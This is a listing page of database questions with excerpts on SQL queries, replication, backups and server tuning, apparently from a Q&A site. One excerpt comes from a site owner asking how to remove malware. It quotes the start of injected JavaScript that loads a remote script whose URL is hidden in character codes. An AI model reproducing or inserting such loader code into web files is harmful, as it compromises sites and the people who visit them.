All Questions

Filter by
Sorted by
Tagged with
0
votes
0answers
11 views

Require relation for this business rule

Lots of games are played in each university location every year; but a game between any two universities is played at a given location only one time a year. Information collected about a game ...
0
votes
1answer
22 views

Query to extracting the 14th date from a date after excluding the sunday and saturday in Postgresql

I need a query to extract the 14th day or any other day before a day after excluding Saturday and Sunday in Postgresql. For Example, I need 14th day before 2020-01-30 after excluding Saturday and ...
1
vote
1answer
44 views

Is this query too slow regarding the job it is doing?

It takes around 6 seconds for the following query to execute on a MacBook Air with 1,8 GHz Dual-Core Intel Core and 8 GB 1600 MHz DDR3, running mysql Ver 14.14 Distrib 5.7.27. I would like to know if ...
1
vote
2answers
40 views

MySQL Optimization on my server

I have an active server running around 80-100 active websites. I would like to optimize the server and possibly reduce the amount of RAM and optimize my MySQL settings. I have 30 GB of RAM assigned ...
0
votes
1answer
38 views

How to make date intervals from a list of date

How to make date intervals from a list of date (Group by columns A and C, the date range consists of a continuous date sequence):
0
votes
1answer
29 views

Why does this UPDATE statement no work? [closed]

UPDATE hwdb1.tblBearbeiter, (SELECT tbltmp.tmp_pnr, tbltmp.tmp_bez FROM tbltmp) AS relevant SET tblBearbeiter.b_pnr = relevant.tmp_pnr WHERE tblBearbeiter.b_pnr = 0 AND tblBearbeiter....
0
votes
0answers
17 views

Is it a good way to store data in nosql database like this? [closed]

In my nosql db there is the 'todos' collection which has some fields (doesn't matter) and the userId field. If I create a TODO with user A, it saves the A user's ID to the userID field in the todos ...
3
votes
1answer
64 views

How can SUSER_SNAME return the localized user name?

I need to assign network service user to SQL Server database programmatically, so I am running this script: USE [MyDB] GO DECLARE @user nvarchar(50) DECLARE @SQLStatement nvarchar(500) SET @user = ...
0
votes
0answers
14 views

lock-ddl-per-table option not working as expected in Xtrabackup

I've recently been getting the following errors on some of my Percona XtraBackup backups: InnoDB: An optimized (without redo logging) DDL operation has been performed. All modified pages may not have ...
0
votes
0answers
18 views

Delete from table one row with 2 variable with limit

I'm developing a PHP script who store session of users in a Database. When an user logout from server, remove only one row ( because same user can login more than one time ) When server reboot, ...
0
votes
1answer
18 views

clone collection in mongoDB in the same db

I want ti copy my collection including is indexes without the data. how can I do it in the most efficient way? I am using a replica set version 4.0.3
0
votes
1answer
41 views
+50

Setup VIP for PostgreSQL Replication

I have been assigned a task to setup Streaming replication in Postgresql. I am not a DBA by profession, doing this thing for the first time. I have set up replication, now as we don't want to change ...
0
votes
1answer
22 views

How to reorder rows in Postgresql

I've got the following table And I have to change the order of the rows in an unpredictable way for example: Set the position of the row with id = 1 after the row with id = 3 and preserve the ...
1
vote
1answer
73 views

Oracle goldengate service is not starting: Failed to retrieve the name of a missing Oracle redo log

I am trying to start GG service, when try 'start my_service' then starting but it didn't start, status is changed always starting to stopped. I need to start goldengate service.. I don't know what ...
0
votes
1answer
21 views

How many pool connection size should be set for a 1000 users Jira system?

For a Jira system, if use Jira's default connection configuration as below: <?xml version="1.0" encoding="UTF-8"?> <jira-database-config> <name>defaultDS</name> <...
0
votes
1answer
23 views

Cassandra goes down after some some days

I am running cassandra in 3 node cluster with replication factor 3. It was working fine for 2 days and all of a sudden it went down. I am beginner to cassandra database. I went through documentation ...
0
votes
0answers
20 views

How to group by similar full-text?

I have a database of open-source project mentions. However, a lot of the project mentions are repeating with slight alterations, e.g. scandum/quadsort: merge sort on steroids github.com/scandum/...
0
votes
1answer
14 views

Backup and Restore of master KEY and Certificate are not working on same server but different DBs. I have SQL Server 2012

I am following these steps but still not able to DECRYPT the data at destination. In Source DB I have created Following: CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'Analytics@2020'; CREATE ...
0
votes
2answers
29 views

Split database per pool

I need to split a database of users by X pool and each pool need to have nearly the same number of users based on their email provider... For explain to you better, if my database content: 100 users ...
1
vote
0answers
17 views

Why is PostgreSQL prefix/range search finicky?

Configuration PostgreSQL 11.4 SET default_statistics_target=1000; Data The scenario is that there are "computers" each with "files", which each have path (ordered text list) unique to that ...
0
votes
1answer
19 views

How do I correctly use %p and %f in postgresql.conf to make the Write Ahead Log?

I am attempting to modify postgresql.conf (Postgre SQL 10.0 under Ubuntu 18.04 VPS) to setup the Write Ahead Log (WAL). AIUI, the commands should be: wal_level = replica # minimal, ...
-1
votes
0answers
17 views

MySQL - Which options in the configuration file have an impact on memory usage?

I've been wondering how to manage MySQL memory usage since by default it takes up to 350MB while idle on my machine, I don't have memory issues, I honestly just wondered how could it be done. I found ...
1
vote
1answer
20 views

PostgreSQL: How to get a weekly average over a year including 'gap' weeks per animal from years of data?

I have a lot of occurrences from different animals (see below) from many many years. I am trying to figure out how to get the average occurrence per week on a year scale per animal. I eventually want ...
0
votes
1answer
23 views

SQLite, ASCII Characters 0x20 to 0x7E Check Constraint

I have the following table which I'm trying to limit the column name to ASCII characters ranging from 0x20 to 0x7E. Why is it not working? CREATE TABLE test ( id INTEGER NOT NULL, name TEXT ...
0
votes
0answers
28 views

Move database from second instance to mount drives [closed]

SQL server 2012 is running in our environment. I am able to move the data to the new VHDs mounted as drives but was unable to get the databases on the second instance moved to the new Mount points. So ...
-2
votes
0answers
54 views

Malware script code delete destinyfernandi.com/same.js in every .js file [closed]

var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true; var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,...
-1
votes
1answer
34 views

“No column name was specified for column…” when aliasing results of CROSS APPLY

I have this table: from which I create this View: This view's CardId allows me to JOIN against the Card table with so I can retrieve the Count from any CardId. Here's my SQL: SELECT * FROM ( ...
1
vote
0answers
72 views

Restarting SQL service doesn't fix performance, hard reboot of system does, how to troubleshoot? [closed]

I have a high-load OLTP SQL Server 2008 Enterprise. 4 NUMA, 96 cores, 430 GB RAM allocated to SQL. Most data and logs are on NAND SSD, some logs on 10K drives. It's linked to a few other systems as ...
0
votes
0answers
19 views

How to prevent 'table is mark as and last (automatic) repair failed'?

This is the second time within the last 4 days that one of the tables in my database got corrupted. The is the error that I have seen in my apache log: PHP Fatal error: Uncaught exception '...
0
votes
0answers
6 views

PostgreSQL: How to install pgrouting with yum on PostgreSQL

Does someone know how to install pgRouting on PostgreSQL? I have tried with PostgreSQL10. I have tried using: sudo yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-...
0
votes
0answers
10 views

Optimize table on large table online DDL Feature

I am running optimize table on MySQL table size 340GB in size and storage engine is InnoDB. mysql> show variables like '%tmp%'; +----------------------------+------------------+ | Variable_name ...
2
votes
1answer
24 views

MySQL / MariaDB Get last 7 days summarized and with avarages calculated

currently, I have this table: CREATE TABLE `plant_data` ( `id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT, `plant_id` BIGINT(20) UNSIGNED NOT NULL, `temperature` DECIMAL(5,1) UNSIGNED ...
0
votes
1answer
33 views

Check partition function if list of value exists, if not iterate through list and add new partition value to the partition function?

I have an azure sql db with a partitioned table with a partition function on varchar datatype. In an Etl process I will get a list of partiton values as a parameter that i will the need to: check ...
-1
votes
0answers
23 views

MySQL Get Root Password

I have created adatabase on https://db4free.net/ Now After I login. It tells me that my user has no privilages. Access denied for user 'myroot@localhost' (using password: YES) (SQL: select count(*)...
0
votes
1answer
23 views

How to Install postgresql-client-11 on Ubuntu 18.04

I need to use the pg_basebackup/pg_dump program on an Ubuntu 18.04 system to connect to a remote PostgreSQL 11.6 server. However, the current system only contains pg_basebackup 10.10 and the remote ...
1
vote
2answers
26 views

Oversize DB restore to SQLExpress

I made a back of an express DB, it was 14.7GB big (how is this possible) but anyway, I need to restore it back to express but obviously it is too big, but there must be somehow I can do this. I need ...
-1
votes
0answers
24 views

How does MySQL store the row data internally?

Does a RDBMS store the row data one after another in a data block? Once data block is full, is the new block assigned continuous? Per my understanding when table is created, DBMS vendor must be ...
0
votes
1answer
19 views

How to get a value from a table that a value is referenced from? [closed]

I've two Postgres tables. CREATE TABLE questions ( id serial primary key, question varchar(64) unique ); and CREATE TABLE answers ( id serial primary key, answerer serial ...
8
votes
2answers
345 views

Creating an Index that is not used by a (SELECT) query reduces performance of that query

I have just watched this video by Pinal Dave. He has a SELECT query that produces ~370k reads in tempdb and ~1200 reads of the table the query is SELECTing from. He then creates an index (Let's call ...
0
votes
0answers
15 views

TiDB vs Vitess - How should I base my decision?

I need a scalable MySQL-compatable solution that can scale to multiple installs across a network, handling millions of records on several tables with tens of thousands of concurrent requests per-...
0
votes
1answer
37 views

Multiple Joins with Sums

Here is my basic schema wbs_item +----+-----------+-----------+ | id | name | parent_id | +----+-----------+-----------+ | 1 | Materials | | +----+-----------+-----------+ | 2 | ...
-1
votes
0answers
17 views

How to Calculate the percentage of total arrests for 2015 in Arizona, and name the calculated field ‘2015_pct_of_total’? Thanks! [closed]

How to Calculate the percentage of total arrests for 2015 in Arizona, and name the calculated field ‘2015_pct_of_total’? Thanks]1
0
votes
0answers
12 views

Is it possible to replace trigger with a job with postgres?

I am using Postgres XL 10R1.1, even tough it utilises PostgreSQL 10.6 .. It is still impossible to use triggers. I want to use the inherence partitioning in order to partition my data using my some ...
1
vote
1answer
15 views

PostgreSQL - WAL segment file creation and naming conventions

I was under the impression that WAL segments files are normally generated before they are being written to and archived, and are continuously renamed and reused to save disk space. I was wondering if ...
0
votes
0answers
18 views

How to punctuate an INSERT statement that uses FROM_UNIXTIME [migrated]

In a Python environment, I've got the following variable: post_time_ms="1581546697000" which is a Unix-style time with milliseconds. In my table, "created_date_time" is defined as a datetime column....
0
votes
2answers
29 views

Grouping data with an interval but with overlapping time range groups

I currently have constructed a group by query in which returns a list of time with a 15 minutes interval and its list of count aggregate SELECT CONVERT(DATE, DATETIME_COLUMN) AS DATE, ...
0
votes
1answer
31 views

CSV or DB is quicker to read several lines from a file with 1,5 billion lines

I have a program which would read several lines according to the indices of lines within a CSV file with 1,5 billion lines(using c fgets, or is there any tool in C faster than fgets?). Compare with ...
0
votes
0answers
13 views

database structure for ecommerce (laravel) [closed]

I'm creating an E-Commerce website. and I'm stuck with the shopping cart and payments and orders ... I don't know how to build a reliable and safe structure. you can see my attempt in this picture: ...
0
votes
1answer
149 views

Slow query compilation, lots of reads during compilation phase

I have a query of the following form exec sp_executesql N' UPDATE table SET column1 = 1, modify_date=N''2020-02-12 04:55:59.000'' WHERE (column5=@P1 AND column6=@P2 )',N'@P1 ...
0
votes
1answer
20 views

Exporting mysql query result to .txt file

I want to export query result into .txt file The path of .txt file and query is dynamic DELIMITER // create procedure test(filepath text , _query text) BEGIN SET @sql = CONCAT(_query, ' into ...

15 30 50 per page
1 3 4 5 6 7 1625